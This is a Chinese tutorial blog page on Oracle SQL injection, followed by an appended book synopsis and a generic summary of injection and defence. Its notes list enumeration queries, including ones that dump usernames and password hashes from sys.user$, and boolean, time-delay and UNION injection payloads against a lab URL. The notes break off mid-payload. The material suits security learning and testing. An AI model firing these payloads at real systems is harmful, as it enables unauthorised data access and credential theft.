WEB安全之:Oracle 数据库 SQL 注入

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Oracle 数据库是目前世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系型数据库,它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。

img

  • 数据文件(dbf)

ORACLE8i 之前数据文件的后缀名为 .ora,之后为 .dbf ,实际使用没任何区别

数据文件是数据库的物理存储单位。数据库的数据是存储在表空间中的,真正是在某一个或者多个数据文件中,而一个表空间可以由一个或多个数据文件组成,一个数据文件只能属于一个表空间。一旦数据文件被加入到某个表空间后,就不能删除这个文件,如果要删除某个数据文件,只能删除其所属于的表空间才行。

  • 表空间

表空间是 Oracle 对物理数据库上相关数据文件(ORA 或者 DBF 文件)的逻辑映射。一个数据库在逻辑上被划分成一到若干个表空间,每个表空包含了在逻辑上相关联的一组结构。每个数据库至少有一个表空间(称之为 system 表空间)。每个表空间由同一磁盘上的一个或多个文件组成,这些文件叫数据库文件(datafile)。

  • 用户

用户是在实例下建立的。不同实例中可以建相同名字的用户。注:表的数据,是由用户放入某一个表空间的,而这个表空间会随机把这些表数据放到一个或者多个数据文件中。Oracle 是由用户和表空间对数据进行管理和存放的,并以用户来区分,因此表不是由表空间去查询的,而是由用户去查的。因为不同用户可以在同一个表空间建立同一个名字的表!

  • 数据库和实例

Oracle 数据库服务器由一个数据库(database)和至少一个数据库实例(instance)组成。 数据库是一组存储数据的文件,而数据库实例则是管理数据库文件的内存结构。此外,数据库是由后台进程组成。数据库和实例是紧密相连的,所以我们一般说的 Oracle 数据库,通常指的就是实例和数据库。

1 Oracle 数据库 SQL 注入基础知识

  • 端口号:1521

1.1 Oracle 特性

1.1.1 dual 表

  • Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用 dual;
  • dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,任何用户均可读取
  • Oracle 保证 dual 里面永远只有一条记录

1.1.2 null 类型

  • Oracle 处理表字段的类型比较严谨,查询时可以使用 null 匹配任意类型

1.2 || 连接运算符

  • 在 Oracle中,|| 运算符可以将两个或两个以上的字符串连接在一起。
  • 支持 || 运算符的 Oracle 版本:Oracle 12c、 Oracle 11g、 Oracle 10g、Oracle 9i
select username||password from admin

1.3 注释符号

1. --(单行注释)
2. /* 多行注释 */ 

1.4 Oracle 注入常用语句及函数

1. 查询 Oracle 版本信息
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;

2. 获取当前数据库用户
SELECT user FROM dual;

3. 列出所有用户
SELECT name FROM sys.user$; — priv;
SELECT username FROM all_users ORDER BY username;

4. 列出用户与密码
SELECT name, password, astatus FROM sys.user$ — priv; <= 10g
# astatus能够在 acct 被锁定的状态下给你反馈
SELECT name,spare4 FROM sys.user$ — priv; 11g

5. 获取当前用户权限
SELECT * FROM session_privs; 

6. 获取所有用户权限
SELECT * FROM dba_sys_privs -- priv; 

7. 获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;

8. 列出 DBA 账户
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;

9. 获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual;  查IP
SELECT UTL_INADDR.get_host_name(127.0.0.1) FROM dual;

10. 获取 DB 文件路径
SELECT name FROM V$DATAFILE;  

11. 查询服务器 SID
select instance_name from v$instance;

12. 查询当前连接用户
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual

13. 限制查询返回的总行数为一条
rownum=1

14. 查询出所有的表
select * from all_tables

15. 查询出当前用户的表
select * from user_tables

16. 查询出所有的字段
select * from all_tab_columns

17. 查询出当前用户的字段
select * from user_tab_columns

18. 查询日志文件路径
select member from v$logfile

2 注入检测方法

2.1 正常查询方法

通过正常查询观察可注入点;

2.2 基于闭合报错的检测方法

一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接在可注入点输入一个单引号' 数据库因为多输入字符导致无法闭合而报错;

Oracle 中,双引号 " 用来消除系统关键字。

javax.servlet.ServletException: java.sql.SQLSyntaxErrorException: ORA-01756: 引号内的字符串没有正确结束

2.3 基于布尔的检测方法

基于页面返回的信息是否相同的检测方法判断,再进一步确认服务端是否可执行

  • and 1=1
  • and 1=2

2.4 基于时间的检测方法

  • dbms_pipe.receive_message('RDS', 3) 函数将为从RDS管道返回的数据等待 3 秒。此语句能以内联方式注入延迟。默认情况下,允许以 public 权限执行该包。
  • DBMS_LOCK.SLEEP() 函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用 DBMS_LOCK 包
and dbms_pipe.receive_message('RDS', 3)=1
例:
http://oracle.lab.com/oraclei.jsp?id=1 and dbms_pipe.receive_message('RDS', 3)=1

3 Oracle 查询信息

3.1 Union 联合查询注入方法

3.1.1 猜测表字段数

order by 1:查询当前表中包含几个字段,数字变换尝试,

例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' order by 3--
# order by 3 正常显示,order by 4 不正常显示,说明有 3 列。此时可以使用 select NULL,NULL from dual 查询数据

3.1.2 查询系统信息

  • 使用 union select null,null,查询函数 查询数据库系统信息
  • 与 Mysql 数据库不同,Oracle 使用联合查询进要求每一列的查询内容类型要与数据库字段类型一致。
  • Oracle 数据库中,所有字段均支持 null (空值),因此可以使用 null 来填充查询字段。
1. 查询内容与数据库字段类型不一致报错
例: http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,(select banner from sys.v_$version where rownum=1) from dual--
# javax.servlet.ServletException: java.sql.SQLSyntaxErrorException: ORA-01789: 查询块具有不正确的结果列数

2. 查询数据库版本信息
select banner from sys.v_$version where rownum=1
例:http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select banner from sys.v_$version where rownum=1) from dual--

3.1.3 查询用户名称

  • Oracle 中当前表所属用户,相当于当前库
1. 查询当前用户
SELECT user FROM dual
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(SELECT user FROM dual) from d
  • 6
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
作 者:(美)克拉克 著,黄晓磊,李化 译 SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认和自动发现SQL注入   查找代码中SQL注入时的提示和技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 目录: 第1章 什么是SQL注入  1.1 概述  1.2 理解Web应用的工作原理   1.2.1 一种简单的应用架构   1.2.2 一种较复杂的架构  1.3 理解SQL注入  1.4 理解SQL注入的产生过程   1.4.1 构造动态字符串   1.4.2 不安全数据库配置  1.5 本章小结  1.6 快速解决方案  1.7 常见问题解答 第2章 SQL注入测试  2.1 概述  2.2 寻找SQL注入   2.2.1 借助推理进行测试   2.2.2 数据库错误   2.2.3 应用响应   2.2.4 SQL盲注  2.3 确认SQL注入   2.3.1 区分数字和字符串   2.3.2 内联SQL注入   2.3.3 终止式SQL注入   2.3.4 时间延迟  2.4 自动寻找SQL注入  2.5 本章小结  2.6 快速解决方案  2.7 常见问题解答 第3章 复查代码中的SQL注入  3.1 概述  3.2 复查源代码中的SQL注入   3.2.1 危险的编码行为   3.2.2 危险的函数   3.2.3 跟踪数据   3.2.4 复查PL/SQL和T-SQL代码  3.3 自动复查源代码第1章 什么是SQL注入   3.3.1 YASCA   3.3.2 Pixy   3.3.3 AppCodeScan   3.3.4 LAPSE   3.3.5 SWAAT   3.3.6 Microsoft SQL注入源代码分析器   3.3.7 CAT.NET   3.3.8 商业源代码复查工具   3.3.9 Ounce   3.3.10 Fortify源代码分析器   3.3.11 CodeSecure  3.4 本章小结  3.5 快速解决方案  3.6 常见问题解答 第4章 利用SQL注入  4.1 概述  4.2 理解常见的利用技术  4.3 识别数据库   4.3.1 非盲跟踪   4.3.2 盲跟踪  4.4 使用UINON语句提取数据   4.4.1 匹配列   4.4.2 匹配数据类型  4.5 使用条件语句   4.5.1 方法1:基于时间   4.5.2 方法2:基于错误   4.5.3 方法3:基于内容   4.5.4 处理字符串   4.5.5 扩展攻击   4.5.6 利用SQL注入错误   4.5.7 Oracle中的错误消息  4.6 枚举数据库模式   4.6.1 SQL Server   4.6.2 MySQL   4.6.3 Oracle  4.7 提升权限   4.7.1 SQL Server   4.7.2 Oracle  4.8 窃取哈希口令   4.8.1 SQL Server   4.8.2 MySQL   4.8.3 Oracle  4.9 带外通信   4.9.1 E-mail   4.9.2 HTTP/DNS   4.9.3 文件系统  4.10 自动利用SQL注入   4.10.1 Sqlmap   4.10.2 Bobcat   4.10.3 BSQL   4.10.4 其他工具  4.11 本章小结  4.12 快速解决方案  4.13 常见问题解答 第5章 SQL盲注利用  5.1 概述  5.2 寻找并确认SQL盲注   5.2.1 强制产生通用错误   5.2.2 注入带副作用的查询   5.2.3 拆分与平衡   5.2.4 常见的SQL盲注场景   5.2.5 SQL盲注技术  5.3 使用基于时间的技术   5.3.1 延迟数据库查询   5.3.2 基于时间推断的考虑  5.4 使用基于响应的技术   5.4.1 MySQL响应技术   5.4.2 SQL Server响应技术   5.4.3 Oracle响应技术   5.4.4 返回多位信息  5.5 使用非主流通道   5.5.1 数据库连接   5.5.2 DNS渗漏   5.5.3 E-mail渗漏   5.5.4 HTTP渗漏  5.6 自动SQL盲注利用   5.6.1 Absinthe   5.6.2 BSQL Hacker   5.6.3 SQLBrute   5.6.4 Sqlninja   5.6.5 Squeeza  5.7 本章小结  5.8 快速解决方案  5.9 常见问题解答 第6章 利用操作系统  6.1 概述  6.2 访问文件系统   6.2.1 读文件   6.2.2 写文件  6.3 执行操作系统命令  6.4 巩固访问  6.5 本章小结  6.6 快速解决方案  6.7 常见问题解答  6.8 尾注 第7章 高级话题  7.1 概述  7.2 避开输入过滤器   7.2.1 使用大小写变种   7.2.2 使用SQL注释   7.2.3 使用URL编码   7.2.4 使用动态的查询执行   7.2.5 使用空字节   7.2.6 嵌套剥离后的表达式   7.2.7 利用截断   7.2.8 避开自定义过滤器   7.2.9 使用非标准入口点  7.3 利用二阶SQL注入  7.4 使用混合攻击   7.4.1 修改捕获的数据   7.4.2 创建跨站脚本   7.4.3 在Oracle上运行操作系统命令   7.4.4 利用验证过的漏洞  7.5 本章小结  7.6 快速解决方案  7.7 常见问题解答 第8章 代码层防御  8.1 概述  8.2 使用参数化语句   8.2.1 Java中的参数化语句   8.2.2 .NET(C#)中的参数化语句   8.2.3 PHP中的参数化语句   8.2.4 PL/SQL中的参数化语句  8.3 输入验证   8.3.1 白名单   8.3.2 黑名单   8.3.3 Java中的输入验证   8.3.4 .NET中的输入验证   8.3.5 PHP中的输入验证  8.4 编码输出  8.5 规范化  8.6 通过设计来避免SQL注入的危险   8.6.1 使用存储过程   8.6.2 使用抽象层   8.6.3 处理敏感数据   8.6.4 避免明显的对象名   8.6.5 创建数据库Honeypot   8.6.6 附加的安全开发资源  8.7 本章小结  8.8 快速解决方案  8.9 常见问题解答 第9章 平台层防御  9.1 概述  9.2 使用运行时保护   9.2.1 Web应用防火墙   9.2.2 截断过滤器   9.2.3 不可编辑的输入保护与可编辑的输入保护   9.2.4 URL策略/页面层策略   9.2.5 面向方面编程   9.2.6 应用入侵检测系统   9.2.7 数据库防火墙  9.3 确保数据库安全   9.3.1 锁定应用数据   9.3.2 锁定数据库服务器  9.4 额外的部署考虑   9.4.1 最小化不必要信息的泄露   9.4.2 提高Web服务器日志的冗余   9.4.3 在独立主机上部署Web服务器和数据库服务器   9.4.4 配置网络访问控制  9.5 本章小结  9.6 快速解决方案  9.7 常见问题解答 第10章 参考资料  10.1 概述  10.2 SQL入门  10.3 SQL注入快速参考   10.3.1 识别数据库平台   10.3.2 Microsoft SQL Server备忘单   10.3.3 MySQL备忘单   10.3.4 Oracle备忘单
SQL注入是一种常见的攻击方式,它通过在Web应用程序中输入恶意的SQL语句来获取或篡改数据库中的数据。下面是SQL注入的详细过程和方法: 1. 收集目标网站的信息:攻击者首先需要了解目标网站的结构、数据库类型和操作系统等信息。这些信息可以通过搜索引擎、网络爬虫或其他工具来获取。 2. 找到注入点:攻击者需要在目标网站中找到可用于注入的输入字段。这些字段通常包括搜索框、登录表单、评论框等。 3. 判断数据库类型:攻击者需要确定目标网站所使用的数据库类型,如MySQLOracleSQL Server等。这可以通过在输入框中输入一些特殊字符来判断。 4. 构造注入语句:攻击者需要构造一个恶意的SQL语句,以便从数据库中获取或修改数据。常用的注入语句包括SELECT、UPDATE、DELETE、DROP TABLE等。 5. 执行注入语句:攻击者将注入语句插入到输入框中,并提交给目标网站。如果注入语句被执行,攻击者就可以获取或修改数据库中的数据。 6. 利用注入漏洞:攻击者可以利用注入漏洞来执行各种操作,如获取管理员密码、篡改网站内容、上传恶意文件等。 为了防止SQL注入攻击,开发人员可以采取以下措施: 1. 使用参数化查询:开发人员可以使用参数化查询来避免构造恶意的SQL语句。 2. 过滤输入数据:开发人员应该对用户输入的数据进行过滤和验证,以确保输入的数据不包含恶意代码。 3. 最小化数据库权限:开发人员应该将数据库的权限设置为最小化,以限制攻击者对数据库的访问。 4. 更新软件和补丁:开发人员应该及时更新软件和补丁,以防止已知的漏洞被攻击者利用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值